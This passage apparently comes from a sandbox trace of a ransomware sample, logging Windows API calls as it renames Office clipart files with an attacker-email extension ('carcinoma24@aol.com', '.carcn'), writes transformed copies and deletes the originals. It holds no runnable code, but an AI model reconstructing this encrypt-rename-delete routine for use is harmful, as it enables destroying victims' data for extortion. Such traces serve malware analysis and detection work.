Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 68 [0284.886] lstrlenW (lpString=".dbf") returned 4 [0284.886] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0284.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 68 [0284.886] lstrlenW (lpString=".1cd") returned 4 [0284.886] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0284.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 68 [0284.886] lstrlenW (lpString=".jpg") returned 4 [0284.886] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0284.887] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=12632) returned 1 [0284.887] CloseHandle (hObject=0x394) returned 1 [0284.887] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00612_.wmf")) returned 0x220 [0284.888] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00612_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0284.888] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00612_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0284.889] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.889] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.889] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00612_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0284.890] GetLastError () returned 0x0 [0284.890] ReadFile (in: hFile=0x394, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0x3158, lpOverlapped=0x0) returned 1 [0284.893] WriteFile (in: hFile=0x530, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0x3160, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0x3160, lpOverlapped=0x0) returned 1 [0284.894] ReadFile (in: hFile=0x394, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0284.895] WriteFile (in: hFile=0x530, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0284.895] SetEndOfFile (hFile=0x530) returned 1 [0284.895] CloseHandle (hObject=0x530) returned 1 [0284.895] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.895] SetEndOfFile (hFile=0x394) returned 1 [0284.898] CloseHandle (hObject=0x394) returned 1 [0284.899] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0284.899] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00612_.wmf")) returned 1 [0284.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 68 [0284.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 68 [0284.900] lstrlenW (lpString=".doc") returned 4 [0284.900] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0284.900] lstrlenW (lpString=".docx") returned 5 [0284.900] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0284.900] lstrlenW (lpString=".pdf") returned 4 [0284.900] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0284.900] lstrlenW (lpString=".xls") returned 4 [0284.900] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0284.900] lstrlenW (lpString=".xlsx") returned 5 [0284.901] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0284.901] lstrlenW (lpString=".ppt") returned 4 [0284.901] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0284.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 68 [0284.901] lstrlenW (lpString=".zip") returned 4 [0284.901] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0284.901] lstrlenW (lpString=".rar") returned 4 [0284.901] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0284.901] lstrlenW (lpString=".bz2") returned 4 [0284.901] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0284.901] lstrlenW (lpString=".7z") returned 3 [0284.901] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0284.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 68 [0284.901] lstrlenW (lpString=".dbf") returned 4 [0284.901] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0284.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 68 [0284.901] lstrlenW (lpString=".1cd") returned 4 [0284.901] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0284.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 68 [0284.901] lstrlenW (lpString=".jpg") returned 4 [0284.901] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0284.902] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=10644) returned 1 [0284.902] CloseHandle (hObject=0x394) returned 1 [0284.902] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00623_.wmf")) returned 0x220 [0284.902] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00623_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0284.903] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00623_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0284.903] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.903] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.903] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00623_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0284.905] GetLastError () returned 0x0 [0284.905] ReadFile (in: hFile=0x394, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0x2994, lpOverlapped=0x0) returned 1 [0285.190] WriteFile (in: hFile=0x530, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0x29a0, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0x29a0, lpOverlapped=0x0) returned 1 [0285.191] ReadFile (in: hFile=0x394, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0285.191] WriteFile (in: hFile=0x530, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0285.191] SetEndOfFile (hFile=0x530) returned 1 [0285.192] CloseHandle (hObject=0x530) returned 1 [0285.192] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.192] SetEndOfFile (hFile=0x394) returned 1 [0285.195] CloseHandle (hObject=0x394) returned 1 [0285.195] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0285.345] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00623_.wmf")) returned 1 [0285.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 68 [0285.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 68 [0285.408] lstrlenW (lpString=".doc") returned 4 [0285.408] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0285.408] lstrlenW (lpString=".docx") returned 5 [0285.408] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0285.408] lstrlenW (lpString=".pdf") returned 4 [0285.408] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0285.408] lstrlenW (lpString=".xls") returned 4 [0285.408] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0285.408] lstrlenW (lpString=".xlsx") returned 5 [0285.408] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0285.408] lstrlenW (lpString=".ppt") returned 4 [0285.408] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0285.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 68 [0285.408] lstrlenW (lpString=".zip") returned 4 [0285.409] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0285.409] lstrlenW (lpString=".rar") returned 4 [0285.409] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0285.409] lstrlenW (lpString=".bz2") returned 4 [0285.409] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0285.409] lstrlenW (lpString=".7z") returned 3 [0285.409] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0285.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 68 [0285.409] lstrlenW (lpString=".dbf") returned 4 [0285.409] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0285.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 68 [0285.409] lstrlenW (lpString=".1cd") returned 4 [0285.409] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0285.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 68 [0285.409] lstrlenW (lpString=".jpg") returned 4 [0285.409] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0285.409] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01013_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0285.410] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=2848) returned 1 [0285.410] CloseHandle (hObject=0x564) returned 1 [0285.410] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01013_.wmf")) returned 0x220 [0285.410] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01013_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0285.410] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01013_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0285.411] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.411] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.411] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01013_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x49c [0285.411] GetLastError () returned 0x0 [0285.411] ReadFile (in: hFile=0x564, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0xb20, lpOverlapped=0x0) returned 1 [0285.431] WriteFile (in: hFile=0x49c, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0xb30, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0xb30, lpOverlapped=0x0) returned 1 [0285.433] ReadFile (in: hFile=0x564, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0285.433] WriteFile (in: hFile=0x49c, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0285.433] SetEndOfFile (hFile=0x49c) returned 1 [0285.433] CloseHandle (hObject=0x49c) returned 1 [0285.433] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.433] SetEndOfFile (hFile=0x564) returned 1 [0285.436] CloseHandle (hObject=0x564) returned 1 [0285.436] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0285.436] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01013_.wmf")) returned 1 [0285.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68 [0285.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68 [0285.437] lstrlenW (lpString=".doc") returned 4 [0285.437] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0285.437] lstrlenW (lpString=".docx") returned 5 [0285.437] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0285.437] lstrlenW (lpString=".pdf") returned 4 [0285.437] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0285.438] lstrlenW (lpString=".xls") returned 4 [0285.438] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0285.438] lstrlenW (lpString=".xlsx") returned 5 [0285.438] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0285.438] lstrlenW (lpString=".ppt") returned 4 [0285.438] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0285.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68 [0285.438] lstrlenW (lpString=".zip") returned 4 [0285.438] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0285.438] lstrlenW (lpString=".rar") returned 4 [0285.438] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0285.438] lstrlenW (lpString=".bz2") returned 4 [0285.438] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0285.438] lstrlenW (lpString=".7z") returned 3 [0285.438] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0285.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68 [0285.438] lstrlenW (lpString=".dbf") returned 4 [0285.438] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0285.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68 [0285.438] lstrlenW (lpString=".1cd") returned 4 [0285.439] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0285.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68 [0285.439] lstrlenW (lpString=".jpg") returned 4 [0285.439] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0285.439] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01065_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c [0285.816] GetFileSizeEx (in: hFile=0x55c, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=1268) returned 1 [0285.816] CloseHandle (hObject=0x55c) returned 1 [0285.816] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01065_.wmf")) returned 0x220 [0285.816] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01065_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0285.816] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01065_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c [0285.816] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.816] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.817] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01065_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0285.817] GetLastError () returned 0x0 [0285.817] ReadFile (in: hFile=0x55c, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0x4f4, lpOverlapped=0x0) returned 1 [0286.015] WriteFile (in: hFile=0x528, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0x500, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0x500, lpOverlapped=0x0) returned 1 [0286.062] ReadFile (in: hFile=0x55c, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0286.063] WriteFile (in: hFile=0x528, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0286.063] SetEndOfFile (hFile=0x528) returned 1 [0286.063] CloseHandle (hObject=0x528) returned 1 [0286.064] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0286.064] SetEndOfFile (hFile=0x55c) returned 1 [0286.067] CloseHandle (hObject=0x55c) returned 1 [0286.067] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0286.068] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01065_.wmf")) returned 1 [0286.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 68 [0286.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 68 [0286.069] lstrlenW (lpString=".doc") returned 4 [0286.069] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0286.069] lstrlenW (lpString=".docx") returned 5 [0286.069] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0286.069] lstrlenW (lpString=".pdf") returned 4 [0286.069] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0286.069] lstrlenW (lpString=".xls") returned 4 [0286.069] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0286.069] lstrlenW (lpString=".xlsx") returned 5 [0286.069] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0286.069] lstrlenW (lpString=".ppt") returned 4 [0286.069] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0286.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 68 [0286.069] lstrlenW (lpString=".zip") returned 4 [0286.069] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0286.069] lstrlenW (lpString=".rar") returned 4 [0286.069] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0286.069] lstrlenW (lpString=".bz2") returned 4 [0286.069] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0286.069] lstrlenW (lpString=".7z") returned 3 [0286.069] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0286.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 68 [0286.069] lstrlenW (lpString=".dbf") returned 4 [0286.069] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0286.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 68 [0286.070] lstrlenW (lpString=".1cd") returned 4 [0286.070] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0286.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 68 [0286.070] lstrlenW (lpString=".jpg") returned 4 [0286.070] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0286.070] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01759_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0286.090] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=5414) returned 1 [0286.091] CloseHandle (hObject=0x564) returned 1 [0286.091] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01759_.wmf")) returned 0x220 [0286.091] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01759_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0286.091] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01759_.wmf"), 